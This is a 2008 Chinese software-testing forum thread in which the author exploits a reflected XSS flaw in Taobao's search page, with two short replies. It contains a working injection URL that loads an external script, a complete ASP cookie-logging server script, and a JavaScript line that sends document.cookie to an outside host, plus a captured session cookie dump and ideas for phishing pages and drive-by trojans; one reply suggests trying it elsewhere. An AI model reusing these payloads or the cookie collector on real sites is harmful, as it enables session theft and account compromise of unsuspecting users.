51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 5160|回复: 2

淘宝搜索xss的再次分析后续(2)

[复制链接]

该用户从未签到

发表于 2008-8-19 20:26:00 | 显示全部楼层 |阅读模式
上次感到那个xss的用户会有很大,简单的分析了一下,周末花了一下午的时间,重新审了一下。

这是一个非常低级的xss,连基本的冒号就没有过滤。看来是大意所致,其他的地方,都没有这个毛病。
既然已经得到可以xss地方。我就直接使用外部脚本加载来执行一些操作。使用外部脚本加载
http://192.168.0.15/test.js就是第三方的脚本文件。也可以是任何的公网地址。在脚本里可以随便写上一些证明的语句,比如alert。
  1. http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><script%20src=http://192.168.0.15/test.js></scrīpt>&cat=&productCat=1&book_search=fuzzy_sr_all_text
复制代码
访问之后,成功的执行了外部js的文件。这样,我就可以有更多空间去完成自己的操作。
在虚拟机上登录自己的淘宝帐号,然后在ie的地址栏中输入javascrīpt:alert(document.cookie)查看当前的cookie。

真正的cookie
---------------------------
Microsoft Internet Explorer
---------------------------
uc1=_yb_=false&_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaNsqDvQ%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false;
cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3; _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS;
_reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D; cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0; btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D; _nk_=sihanjishu;user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
---------------------------
OK   
---------------------------



然后访问上面的构造的xss地址。同时修改js的脚本为alert(document.cookie)
再次访问xss地址,结果发现,弹出了cookie的提示。
这说明通过外部脚本的加载已经可以操纵cookie了。下一步就是把用户的cookie偷走。

修改js的脚本文件,这次通过js发送请求,把当前的cookie发送到网路上去。
我在外部网络上新建一个web服务器,然后写一个接受请求的文件,把获得的请求保存起来。http://192.168.0.15/xssc.asp就是外部的用来保存请求数据的文件。

http://192.168.0.15/xssc.asp的内容如下,这是利用网上一个现成的工具,sessionIE,其实任何可以记录请求数据,保存cookie的脚本都可以了。我图个省事。就直接使用工具了。
  1. <%
  2. Password="123" '修改为你的密码

  3. afile=Application("fpath")
  4. if afile="" then
  5. afile="xsscookies.xml"
  6. end if
  7. rfile=Server.MapPath(afile)
  8. '非管理ip,cookie文件位置


  9. set fs=server.CreateObject("scripting.filesystemobject")
  10. If Request("p")=Password Then
  11.          afile=replace(replace(replace(Now&".xml","-",""),":","")," ","")
  12.          rfile=Server.MapPath(afile)
  13.          Application("ExIp") =  Request.ServerVariables("REMOTE_ADDR")'设置管理ip用于排除cookie
  14.                 ofile=Application("fpath")
  15.                 if ofile="" then
  16.                         ofile="xsscookies.xml"
  17.                 end if
  18.                 if (fs.FileExists(Server.MapPath(ofile))) then
  19.                          Response.write("<Items><links>"&ofile&"</links></Items>")'返回上一个cookie文件url
  20.                 else Response.write("<Items><links/></Items>")
  21.                 end if
  22.          Application("fpath")=afile'产生新cookie文件
  23.          Response.End()
  24. Else
  25.          If Application("ExIp") = Request.ServerVariables("REMOTE_ADDR") Then '管理地址密码错误时
  26.          Application("ExIp") = "127.0.0.1"
  27.          End if
  28. End if



  29. If Application("ExIp") <> Request.ServerVariables("REMOTE_ADDR") Then '记录非管理地址的cookie
  30.         c=Request.QueryString
  31.                 if c="" Then
  32.                 response.End ()
  33.                 End if
  34.         check(rfile)
  35.         dealXml(rfile)
  36.         response.redirect("no.jpg")
  37. End if
  38. Function check(filename)
  39.        
  40. 'Response.write(rfile)
  41.     If not fs.FileExists(rfile) Then
  42.         set f=fs.OpenTextFile (rfile,8,True,0)
  43.         f.WriteLine("<rss version=""2.0"">")
  44.         f.WriteLine("<treeroot/>")
  45.         f.WriteLine("</rss>")
  46.                 f.Close
  47. 'Response.write(rfile)
  48.         End If       
  49. End Function

  50. Function dealXml(filename)
  51.     set xmldoc=server.CreateObject("MicroSoft.XMLDom")
  52.      xmldoc.load(filename)
  53.      set newnode=xmldoc.createelement("item")
  54.      newnode.appendchild(xmldoc.createelement("title"))
  55.      newnode.appendchild(xmldoc.createelement("link"))
  56.      newnode.appendchild(xmldoc.createelement("src_ip"))
  57.      newnode.appendchild(xmldoc.createelement("src_os"))
  58.      newnode.appendchild(xmldoc.createelement("pubDate"))
  59.      newnode.appendchild(xmldoc.createelement("description"))
  60.      newnode.childnodes(0).text=Request.ServerVariables("REMOTE_HOST")
  61.      newnode.childnodes(1).text=Request.ServerVariables("HTTP_REFERER")
  62.      newnode.childnodes(2).text=Request.ServerVariables("REMOTE_ADDR")
  63.      newnode.childnodes(3).text=Request.ServerVariables("OS")
  64.      newnode.childnodes(4).text=now
  65.      newnode.childnodes(5).text=c
  66.      xmldoc.documentElement.SelectSingleNode("//rss/treeroot").appendchild(newnode)
  67.      xmldoc.save(filename)
  68. End function
  69.         set fs = Nothing
  70. %>
复制代码
外部脚本js的内容修改为如下,也就是把cookie发送出去。
  1. new Image().src="http://192.168.0.15/xssc.asp?"+escape(document.cookie);
复制代码
再次访问上面构造的那个xss地址。成功的在外部计算机上得到了虚拟机里登录淘宝的cookie。
收到的cookie内容。

uc1=_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaMaMA8Q%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false&_yb_=false; cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3;
_reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS; _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D;
cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0;
btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D;
_nk_=sihanjishu; user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D



cookie不是完全一样,很奇怪,没有分析具体的原因。然后使用sessionIE,去访问得到的页面,竟然发现提示需要登录。淘宝成功的限制了伪造的登录。
看来是淘宝做什么限制了,不在同一台计算机的登录是不同的。这样的情况,在qq邮箱里也存在,应该是采用什么技术吧,以前听说过一点。这个我很菜,估计页面里含有一些隐藏的变量吧。这个暂不分析。没有时间去深入。

既然得到cookie无法去访问后台,就表明暂时这个xss还是没有太大危害性的。

现在换一个思路。既然得到cookie也无法操纵别人后台,那我就选择在xss的时候通过js去操纵。

这时发现搜索页面,也就是那个存在xss的页面,竟然和淘宝的用户后台不在一个二级域名中,也就是说,可能不在同一个计算机上。这样xss的请求访问后台,是相当于跨域访问的。当然,如果域的限制不是很严格的话,也许可以突破。
剩下的思路就是通过一些跨域的漏洞,去访问其他域名下的信息,比如操纵后台的操作,访问别人的站内信内容。
我不知道淘宝的cookie设置的是否是二级域名区别的,如果可以访问同一根域名下的内容,这样就简单多了。

这个xss的危害

1、可能导致用户的信息泄漏。后台的数据遭到篡改。利用ie的跨域漏洞,可能会访问到很多的内容。
2、可能会利用社工,用来欺骗用户的密码,在外部的js文件中,做一个登录的假页面,然后用户的用户名和密码。
3、利用淘宝上的这个xss,直接在js中加载一些恶意代码,网页木马什么的。直接入侵用户的电脑。


暂时研究到此为止吧。要吃饭了。

我水平很菜,以后有时间再慢慢分析如何利用外部脚本控制,访问用户的站内信。或者操纵其他内容。
回复

使用道具 举报

该用户从未签到

发表于 2008-8-20 09:20:53 | 显示全部楼层
有些看不懂。。但好好研究下你的方法,taobao是做了限制,但我们的那啥肯定没限制,嘿嘿,可以好好玩下了。
回复 支持 反对

使用道具 举报

该用户从未签到

发表于 2008-8-20 18:03:39 | 显示全部楼层
不错!不过也是有些看不懂,最近也在学习安全测试,好好研究下
回复 支持 反对

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-3-29 06:44 , Processed in 0.075087 second(s), 28 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表